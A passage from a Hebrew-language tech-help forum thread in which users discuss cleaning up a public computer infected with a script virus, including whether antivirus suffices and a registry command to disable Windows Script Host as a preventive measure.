                                כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                @תלמידהון
                                כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                                0
                                • ר רנדומלי

                                  @מתכנת-חובב
                                  השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                  כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                  @תלמידהון
                                  כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                  ת מנותק
                                  ת מנותק
                                  תלמידהון
                                  כתב נערך לאחרונה על ידי
                                  #21

                                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                  אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                                  תגובה 1 תגובה אחרונה
                                  1
                                  • ר רנדומלי

                                    @מתכנת-חובב
                                    השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                    כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                    @תלמידהון
                                    כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                    מתכנת חובבמ מנותק
                                    מתכנת חובבמ מנותק
                                    מתכנת חובב
                                    מדריכים
                                    כתב נערך לאחרונה על ידי מתכנת חובב
                                    #22

                                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                    בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                    לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                    תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                    צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                    ר תגובה 1 תגובה אחרונה
                                    0
                                    • מתכנת חובבמ מתכנת חובב

                                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                      בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                      לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                      תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                      ר מנותק
                                      ר מנותק
                                      רנדומלי
                                      כתב נערך לאחרונה על ידי
                                      #23

                                      @מתכנת-חובב
                                      תהיה מוכן להסביר לי איך אני מכבה VBS?

                                      זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                      מתכנת חובבמ תגובה 1 תגובה אחרונה
                                      0
                                      • ר רנדומלי

                                        @מתכנת-חובב
                                        תהיה מוכן להסביר לי איך אני מכבה VBS?

                                        זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                        מתכנת חובבמ מנותק
                                        מתכנת חובבמ מנותק
                                        מתכנת חובב
                                        מדריכים
                                        כתב נערך לאחרונה על ידי
                                        #24

                                        @רנדומלי תריץ את זה כמנהל

                                        reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                                        

                                        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                        תגובה 1 תגובה אחרונה
                                        1

                                        • התחברות

                                        • אין לך חשבון עדיין? הרשמה

                                        • התחברו או הירשמו כדי לחפש.
                                        • פוסט ראשון
                                          פוסט אחרון
                                        0
                                        • חוקי הפורום
                                        • פופולרי
                                        • לא נפתר
                                        • משתמשים
                                        • חיפוש גוגל בפורום
                                        • צור קשר